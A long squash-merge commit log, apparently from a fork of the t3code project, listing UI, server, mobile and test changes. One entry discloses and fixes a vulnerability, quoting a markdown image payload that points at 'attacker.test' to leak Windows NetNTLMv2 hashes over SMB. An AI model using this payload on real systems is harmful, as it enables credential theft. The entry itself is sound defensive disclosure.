* feat(claude): idle compaction has a global default and per-instance overrides (pingdotgg#23037)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): typing no longer re-renders the traits picker or attach button (pingdotgg#23040)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer's layout and provider hooks live in their own files (pingdotgg#23042)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the prompt stash lives in useComposerStash (pingdotgg#23046)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer context imports live in useComposerContextImport (pingdotgg#23048)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer file intake lives in useComposerAttachmentIntake (pingdotgg#23049)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer's footer controls render in ComposerControlsBar (pingdotgg#23058)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): composer key handling lives in useComposerCommandKey (pingdotgg#23060)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's send paths live in useComposerSend (pingdotgg#23062)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's terminal actions live in useChatTerminalActions (pingdotgg#23063)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's right panel actions live in useRightPanelActions (pingdotgg#23064)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's snooze, settle, and checkout actions live in useThreadLifecycle (pingdotgg#23065)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's revert, rollback, and fork live in useTimelineRewind (pingdotgg#23066)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's attachment preview handoff lives in useAttachmentPreviewHandoff (pingdotgg#23067)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's project clone banner lives in useProjectCloneBanner (pingdotgg#23068)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's model, mode, and workspace choices live in useComposerSelection (pingdotgg#23069)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's pull request checkout lives in usePullRequestDraftThread (pingdotgg#23070)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's thread derivations are tested functions in ChatView.logic (pingdotgg#23071)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's paste-to-focus, titlebar controls, and timeline overlays move out (pingdotgg#23072)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(cursor): a closed-stream write in the Cursor SDK no longer stops the server (pingdotgg#22897)

Co-authored-by: MarMarLabs <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): Codex no longer offers a one-click update for installs it can't detect (pingdotgg#22504)

* fix(pi): declare properties on MCP tool schemas that omit them (pingdotgg#21822)

Co-authored-by: Claude Sonnet 5.5 <[email protected]>

* fix(server): a desktop backend whose launcher died shuts down cleanly instead of crashing (pingdotgg#22471)

* fix(mobile): chat feed no longer re-derives on every render (pingdotgg#22913)

Co-authored-by: flamboh <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(user): the outside agents guide says which addresses agents can sign in over (pingdotgg#22377)

Co-authored-by: Claude Sonnet 5.5 <[email protected]>

* fix(server): HTML preview reports a browser start error instead of an internal error (pingdotgg#22895)

Co-authored-by: ScottN-PV <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(tailscale): a timed-out tailscale probe no longer outlives its call (pingdotgg#22900)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(composer): queued messages follow the Follow-up behavior setting (pingdotgg#22857)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): failed provider updates say why (pingdotgg#22506)

* test(telemetry): keep fixture PIDs from colliding with the test worker (pingdotgg#21446)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): server tests resolve the macOS temp dir symlink (pingdotgg#21442)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(scripts): mobile lint fails instead of passing when ktlint or detekt is missing (pingdotgg#22896)

Co-authored-by: Shubh <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): t3_thread_read clamps oversized page sizes instead of failing (pingdotgg#22901)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: grey-tsosie <[email protected]>

* fix(mobile): opening a pull request no longer crashes with "Maximum update depth exceeded" (pingdotgg#22600)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): PR Code tab keeps its files after a refresh with an unchanged diff (pingdotgg#22917)

Co-authored-by: Rodrigo Brechard <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): finished provider updates no longer leave a hidden spinner in the sidebar (pingdotgg#22912)

Co-authored-by: 1kuna <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(composer): mentions of files like `posts.$postId.tsx` or `[id].tsx` stay chips (pingdotgg#22922)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): resuming an interrupted run lives in its own hook (pingdotgg#23087)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): proposed-plan follow-ups and implement-in-new-thread live in their own hooks (pingdotgg#23091)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): multiple-model sends live in their own hook (pingdotgg#23094)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the composer send reads its own settings and draft instead of taking them from ChatView (pingdotgg#23095)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ComposerControlsBar renders without a memo() wrapper (pingdotgg#23093)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): chat shortcuts live with the hooks that own their actions (pingdotgg#23097)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): ChatView's timeline banners render in ChatBannerLane (pingdotgg#23101)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): the branch toolbar and thread details panel stay cached while a reply streams (pingdotgg#23103)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): scheduled tasks no longer jump to the top when toggled (pingdotgg#22899)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): Forgejo and GitCafe pull requests link to their threads again (pingdotgg#22937)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): pushes the remote refuses say why instead of a generic failure (pingdotgg#22904)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(composer): typing a price no longer opens the skill menu (pingdotgg#21519)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): thread details PR merge uses the last selected merge method (pingdotgg#22399)

* fix(web): a Usage toggle shortcut now goes back instead of staying on Usage (pingdotgg#22905)

Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): quote comment box stays on screen for long code lines (pingdotgg#22149)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): right panel launcher letters open their surface instead of typing into the composer (pingdotgg#22898)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): ../ file links outside the workspace open as host files (pingdotgg#22853)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(shared): recognize relative folder links with trailing slash (pingdotgg#22188)

Co-authored-by: macodev00 <[email protected]>

* fix(client): usage limits skip disabled connections (pingdotgg#22936)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): imported VS Code themes keep destructive buttons red (pingdotgg#21924)

* fix(shared): Azure DevOps repositories with a space in the name list their pull requests (pingdotgg#22782)

* fix(opencode): cancelled todos no longer keep the todo list running (pingdotgg#22938)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): copy to machine clones the fork, not its upstream (pingdotgg#22492)

* fix(server): JetBrains IDEs open file links at the right column (pingdotgg#22826)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): sync pull request draft status changes (pingdotgg#22832)

* test(web): chat shortcut test types through the composer handle (pingdotgg#23126)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* Merge commit from fork

A markdown image such as ![x](file://attacker.test/share/cat.jpg), or a raw
\\host\share path, was classified as a host file. Rendering it asked the
server for a signed asset URL, and the server's realpath on the resulting UNC
path made Windows open an SMB session and send the user's NetNTLMv2 response
to the attacker's host, with no click and no tool call. File-link chips did
the same through filesystem.getMetadata, which stats every absolute path, and
storage cleanup stats the store paths in a worktree's pnpm manifest, which an
agent can write.

Network paths (two leading separators, as Windows reads them: \\h, //h, /\h)
now only resolve inside the thread's project, so projects on a share keep
working:

- clients block them in markdown images and stop treating them as file links
- the web stops asking for their metadata
- the server refuses them for media assets and file reads outside the
  project, never stats one for metadata, and storage cleanup ignores a pnpm
  manifest that names one
- each check hands the filesystem the resolved path it approved, since
  Windows reads a `\\?\` path as written, `..` included

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(source-control): merge messages drop Claude Code's current claude.com footer (pingdotgg#23133)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(build): pin Node 26.12.1 for development and standalone releases (pingdotgg#23165)

* fix(mobile): keep Duo toolbar actions clear of workspace tabs (pingdotgg#22976)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): respect Duo safe areas in overlays (pingdotgg#22977)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): retain resting scroll offsets through Duo inset changes (pingdotgg#22978)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): deliver the first tab selection after Duo folding (pingdotgg#22979)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): use native full-width sheets on iPhone Duo (pingdotgg#22980)

Co-authored-by: Pixel Perfect <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the pull requests tab's empty detail asks for a pull request (pingdotgg#23143)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo keeps list titles through folds and unfolds with its sidebar (pingdotgg#23144)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo searches from a field at the bottom of its list (pingdotgg#23145)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): a closed search no longer risks freezing the app (pingdotgg#23146)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): folding the Duo keeps the thread's end or the reader's line in place (pingdotgg#23147)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo's search field and composer line up with its tab bar (pingdotgg#23148)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): Screens 5.0.0-t3.36 stops an iPhone Duo unfold crash (pingdotgg#23149)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iPhone Duo's inspector panes use the full column (pingdotgg#23150)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(gitcafe): show line counts on linked and listed pull requests (pingdotgg#22633)

* docs(import): correct conversation size and batch limits (pingdotgg#23226)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): stop abandoned turns before continuing threads (pingdotgg#23169)

* feat(server): export how long runs take and how they end (pingdotgg#22094)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): new-thread heading clears the iPad header (pingdotgg#23206)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(pi): fork completed turns while the next turn is running (pingdotgg#23052)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): drafts swipe to discard and every row move animates (pingdotgg#23205)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(server): webhook filters fan out over arrays with a [] path wildcard (pingdotgg#23282)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(web): Arabic and Hebrew text reads and navigates right to left (pingdotgg#22777)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(client-runtime): refresh Git refs when the RPC session changes (pingdotgg#23314)

* fix(web): cap list layout passes to prevent React error 185 (pingdotgg#23315)

* fix(mobile): align iPad composer without shifting on keyboard focus (pingdotgg#23355)

* feat(gitcafe): request reviewers and apply labels on GitCafe pull requests (pingdotgg#23034)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(source-control): clones retry over HTTPS when the SSH key is refused (pingdotgg#23170)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the iOS composer reopens where you left a long draft (pingdotgg#23096)

Co-authored-by: Vishal <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Vishal Doshi <[email protected]>

* fix(mobile): preserve new-thread drafts and native header layout (pingdotgg#23366)

* feat: ChatGPT Business usage limits offer a copyable admin request (pingdotgg#23361)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): paused sidebar videos stop reloading after every command (pingdotgg#23106)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Nikita Maximilian Grimm <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* chore(typecheck): typescript is the tsc-rs drop-in, no effect-tsgo patch (pingdotgg#23023)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): Dynamic Island status no longer wraps next to other Live Activities (pingdotgg#23327)

Fixes pingdotgg#15682. Takes over pingdotgg#23035.

Co-authored-by: Taylor Dolezal <[email protected]>
Co-Authored-By: Claude Opus 5.5 <[email protected]>

* perf(web): streamed reply text no longer re-renders ChatView (pingdotgg#23117)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* perf(web): visit marks during a reply no longer re-render ChatView (pingdotgg#23124)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): a Claude agent stops when the server that started it dies (pingdotgg#23389)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): SSH hosts no longer keep every old 300 MB runtime after desktop updates (pingdotgg#23113)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(settings): older clients connect again after idle compaction modes (pingdotgg#23454)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): unify draft and thread navigation and composer behavior (pingdotgg#23467)

* ci: setup survives npm registry outages (pingdotgg#23582)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(web,mobile): messages from other agents fold into one-line rows (pingdotgg#23135)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): subagent bar keeps model and status readable in narrow chat columns (pingdotgg#23502)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(chat): mark tool images beyond the preview limit (pingdotgg#23595)

Co-authored-by: GPT-6.1 Sol <[email protected]>

* fix(web): provider updates no longer pop toasts on launch (pingdotgg#23233)

* fix(server): probe the Windows startup environment asynchronously (pingdotgg#21720)

* fix(usage): count initial Codex requests with inherited totals (pingdotgg#23729)

* chore(mobile): bump app version to 2.1.0

Co-authored-by: codex <[email protected]>

* fix(web): let toast content use the full accordion width (pingdotgg#23777)

* fix(web): sidebar follows the active thread after history navigation (pingdotgg#23519)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): keep subagent transcript updates off shell stream (pingdotgg#23783)

* fix(deps): pin all patched package versions (pingdotgg#23798)

* docs: document the GitCafe mirror and refresh the dev setup (pingdotgg#23808)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix: no more em dashes in product copy (pingdotgg#23799)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* chore(release): prepare v0.1.2

* chore(mobile): bump Clerk Expo SDKs to the new native client sync (pingdotgg#23047)

Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Claude Haiku 5.5 <[email protected]>

* fix(mobile): capture folded and unfolded Duo store screenshots (pingdotgg#23849)

* fix(server): preserve typed requirements as the RPC group grows (pingdotgg#23813)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): wake PR watches when no checks report (pingdotgg#23863)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): resume Codex parents after native children finish (pingdotgg#23840)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(gitcafe): authored lists, merge progress, and author reviews match git.cafe (pingdotgg#23887)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(forgejo): merges follow the repository's delete-branch setting (pingdotgg#23471)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): keep PR check counts in sync (pingdotgg#23548)

* fix(server): speed up shell snapshots on large databases (pingdotgg#23751)

Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): keep managed Codex token renewal in the server (pingdotgg#21786)

* fix(server): renew active managed Codex turns through native auth (pingdotgg#21787)

* feat(web): telemetry export settings show where the running endpoint came from (pingdotgg#23713)

Co-authored-by: Julius Marminge <[email protected]>
Signed-off-by: Yordis Prieto <[email protected]>

* fix(ui): preserve tool icon detail in light mode (pingdotgg#23896)

* fix(mcp): accept GitCafe pull request URLs in link/unlink/watch tools (pingdotgg#23899)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* feat(settings): add thread title instructions (pingdotgg#21882)

Co-authored-by: Yash Singh <[email protected]>

* fix(mobile): undo toasts keep their action on one row (pingdotgg#23910)

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* docs(connect): correct the relay webhook endpoint key (pingdotgg#23526)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): center Android composer text and pad wrapped drafts (pingdotgg#23829)

* fix(server): wake PR watches when remaining CI checks finish (pingdotgg#23904)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): the empty composer row shows only the provider icon (pingdotgg#23570)

* fix(server): route SQLite reads around writer contention (pingdotgg#23902)

* fix(claude): route approval feedback to the requesting agent (pingdotgg#23657)

* fix(web): align pull request file counts with diff stats (pingdotgg#23905)

* fix(web): task durations over an hour no longer wrap in the tasks panel (pingdotgg#13472)

Co-authored-by: Claude Opus 5.5 (1M context) <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>

* fix(server): preserve Codex sign-in guidance in usage notices (pingdotgg#17055)

Co-authored-by: Codex (gpt-6-astra) <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>

* fix(server): restore Claude subscription usage through proxies (pingdotgg#12069)

Co-authored-by: Julius Marminge <[email protected]>

* fix(server): Forgejo skipped jobs no longer keep a pull request watch pending (pingdotgg#16668)

Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(mobile): move Android undo toasts above bottom navigation (pingdotgg#23928)

* perf(server): skip unused Git output line parsing (pingdotgg#23953)

Co-authored-by: Jet <[email protected]>
Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(server): abort interrupted ACP MCP fetches (pingdotgg#23955)

Co-authored-by: kiiwee <[email protected]>
Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(web): new threads no longer hang when a project's machine is offline (pingdotgg#23967)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(pi): stop blank input placeholders from failing the run (pingdotgg#23235)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(cursor): fail turns that end in a transport error after commentary (pingdotgg#23273)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(forgejo): answer the base branch read in the skipped-checks test (pingdotgg#23952)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(opencode): retry failed model catalogs until they recover (pingdotgg#23939)

* fix(server): avoid full shell read on resume (pingdotgg#23987)

* test: delete low-value tests and dead test-only exports (pingdotgg#24058)

* test(server): restore DST scheduling tests deleted in the test snap (pingdotgg#23991)

* test(web): restore project settings permission tests deleted in the test snap (pingdotgg#24011)

* test(mobile): restore clipboard secret-redaction test deleted in the test snap (pingdotgg#23980)

* fix(web): Cmd+B toggles the sidebar unless text is selected (pingdotgg#24063)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): agent-browser and Chrome no longer outlive the agent that started them (pingdotgg#21299)

Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Theo Browne <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(client-runtime): restore render scheduler tests deleted in the test snap (pingdotgg#23977)

* fix(web): cmd+k search hides subagents and favors recent, whole-word matches (pingdotgg#24032)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(lint): new polling loops in tests now fail lint (pingdotgg#23983)

* ci: unused dependency patches fail in check:changed, not after push (pingdotgg#23988)

* fix(desktop): PDFs in the preview can be annotated (pingdotgg#24022)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): instructed compact runs without a bare compaction first (pingdotgg#24008)

Co-authored-by: fixfon <[email protected]>
Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(desktop): reduce app crashes when a preview tab's renderer dies during agent screenshots (pingdotgg#24056)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): Stop stops a thread's subagents again (pingdotgg#23886)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): a stuck quit no longer leaves the app unkillable (pingdotgg#23873)

Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

---------

Signed-off-by: Yordis Prieto <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: Theo Browne <[email protected]>
Co-authored-by: ishaanko <[email protected]>
Co-authored-by: Yash Singh <[email protected]>
Co-authored-by: Lakshmi Tanmay <[email protected]>
Co-authored-by: Victor Vogel <[email protected]>
Co-authored-by: GPT-6.1 Sol <[email protected]>
Co-authored-by: Igor Makowski <[email protected]>
Co-authored-by: fixfon <[email protected]>
Co-authored-by: project516 <[email protected]>
Co-authored-by: steve-ai-vibe <[email protected]>
Co-authored-by: Dara Adedeji <[email protected]>
Co-authored-by: sheehanmunim <[email protected]>
Co-authored-by: Robert Soriano <[email protected]>
Co-authored-by: MarMarLabs <[email protected]>
Co-authored-by: Koushik_xd <[email protected]>
Co-authored-by: Taissa <[email protected]>
Co-authored-by: flamboh <[email protected]>
Co-authored-by: Gourav Kumar Dhiman <[email protected]>
Co-authored-by: ScottN-PV <[email protected]>
Co-authored-by: tatsuaki watanabe <[email protected]>
Co-authored-by: Shubh <[email protected]>
Co-authored-by: grey-tsosie <[email protected]>
Co-authored-by: Rodrigo Brechard <[email protected]>
Co-authored-by: 1kuna <[email protected]>
Co-authored-by: MarcoDotIO <[email protected]>
Co-authored-by: Tristan Knight <[email protected]>
Co-authored-by: Etan Heyman <[email protected]>
Co-authored-by: maco <[email protected]>
Co-authored-by: macodev00 <[email protected]>
Co-authored-by: M4NU5 <[email protected]>
Co-authored-by: Louis Gollut <[email protected]>
Co-authored-by: Pavel Kroupa <[email protected]>
Co-authored-by: AKolenda <[email protected]>
Co-authored-by: Lev Poznyakov <[email protected]>
Co-authored-by: Alex <[email protected]>
Co-authored-by: maria <[email protected]>
Co-authored-by: يزن حمزه <[email protected]>
Co-authored-by: shivam <[email protected]>
Co-authored-by: Vishal <[email protected]>
Co-authored-by: PR Batch Tester <[email protected]>
Co-authored-by: Vishal Doshi <[email protected]>
Co-authored-by: Nikita Maximilian Grimm <[email protected]>
Co-authored-by: Taylor Dolezal <[email protected]>
Co-authored-by: oliver <[email protected]>
Co-authored-by: Utkarsh Patil <[email protected]>
Co-authored-by: t3-code[bot] <269035359+t3-code[bot]@users.noreply.github.com>
Co-authored-by: codex <[email protected]>
Co-authored-by: Yordis Prieto <[email protected]>
Co-authored-by: Caden Elrod <[email protected]>
Co-authored-by: Alex Southwell <[email protected]>
Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
Co-authored-by: James Villarrubia <[email protected]>
Co-authored-by: Julius Marminge <[email protected]>
Co-authored-by: 洁月星 <[email protected]>
Co-authored-by: Nand <[email protected]>
Co-authored-by: Jet <[email protected]>
Co-authored-by: kiiwee <[email protected]>
Co-authored-by: Joseph Vidal <[email protected]>
Co-authored-by: Theo Browne <[email protected]>
paulsenon-r referenced this pull request in rakutenanalytics/t3code Oct 28, 2026
* fix(mobile): thread rows show wake status and elapsed time (pingdotgg#21394)

* fix(web,mobile): list database space for all machines in one notice (pingdotgg#22575)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(lint): ban per-test timeouts and unreasoned skips (pingdotgg#22560)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(web): ban frame and transition waits in browser tests (pingdotgg#22561)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test: ban wall-clock readings in tests (pingdotgg#22562)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(server): ban real-clock waits in tests (pingdotgg#22564)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test: warn on polling loops in tests and make adapter test harnesses event-driven (pingdotgg#22565)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): iOS new-thread skill picker stops shifting the screen (pingdotgg#22121)

* fix(web): dialogs keep their content while they close (pingdotgg#21960)

* ci(release): build Windows x64 on Linux like arm64 (pingdotgg#22584)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): idle orphaned follow-ups can be cancelled without a running parent (pingdotgg#22581)

Co-authored-by: syberia <[email protected]>
Co-authored-by: Claude Opus 5.5 <[email protected]>

* chore(web): remove "use client" directives (pingdotgg#22587)

* test(mobile): prune low-value tests in mobile (second pass) (pingdotgg#22588)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(desktop): prune low-value tests in desktop (second pass) (pingdotgg#22589)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(web): prune low-value tests in apps/web (second pass) (pingdotgg#22591)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(server): prune low-value tests in apps/server (second pass) (pingdotgg#22592)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(packages): prune low-value tests in packages (second pass) (pingdotgg#22593)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(server): prune low-value tests in orchestration-v2 (second pass) (pingdotgg#22599)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(web): every browser test starts with the mouse off the page (pingdotgg#22556)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* chore(tailscale): drop parseTailscaleMagicDnsName, which nothing imports (pingdotgg#22602)

Co-authored-by: Claude Fable 5.1 <[email protected]>

* fix(server): make the remaining flaky server tests deterministic (pingdotgg#22559)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): composer chips match chat chips (pingdotgg#22518)

* fix(mobile): show each turn's diffstat on its work row (pingdotgg#21392)

* chore(release): prepare v0.1.1

* fix(web): silence notifications when stopping a watch (pingdotgg#22615)

* ci(release): build macOS desktop on Blacksmith runners again (pingdotgg#22613)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(usage): Codex compaction and resumed sessions no longer show skipped-usage warnings (pingdotgg#22558)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): thread search shows the same PR badge as the sidebar (pingdotgg#22627)

* Delete .github/workflows/cursor-hygiene-webhook.yml

* fix(desktop): bump Electron to 44.9.3 to block compromised eMudhra CA keys (pingdotgg#22645)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(web): ChatView's React Compiler check no longer times out on slow CI runners (pingdotgg#22649)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(web): thread links render as chips, and thread chips show the project icon (pingdotgg#22621)

* fix(server): Stop on a delegate always clears it, even when it is stuck (pingdotgg#22653)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* feat(web): composer stays usable during approvals, and sending declines and redirects (pingdotgg#21503)

* docs(agents): name the fast commands and stop polling (pingdotgg#22711)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(desktop): new worktrees install Electron from the local download cache (pingdotgg#22712)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test(server): split replay fixtures into per-provider files (pingdotgg#22717)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(server): delegates finish when their leftover work settles, and Grok commands stop holding runs open (pingdotgg#22709)

Co-authored-by: Claude Opus 5.5 <[email protected]>
Co-authored-by: Fuksss <[email protected]>

* fix(server): storage cleanup no longer counts pnpm clones as freed space (pingdotgg#22713)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* build: upgrade Vite+ to 1.3 and cache typecheck (pingdotgg#22716)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* test: local test runs use package configs and a clean env (pingdotgg#22714)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* fix(mobile): restore low-latency decoding for simulator streams (pingdotgg#22733)

* fix(marketing): typecheck cache no longer misses when the shell env changes (pingdotgg#22735)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* build(setup): leaner installs on Mac and Linux, cross-device store warning, setup-done marker (pingdotgg#22718)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* build: upgrade pnpm to 12 for 4x faster installs (pingdotgg#22738)

Co-authored-by: Claude Opus 5.5 <[email protected]>

* refactor(web): the timeline minimap lives in its own file (pingdotgg#22662)

Co-authored-by: Claude Opus 5.5 <[email protected]>

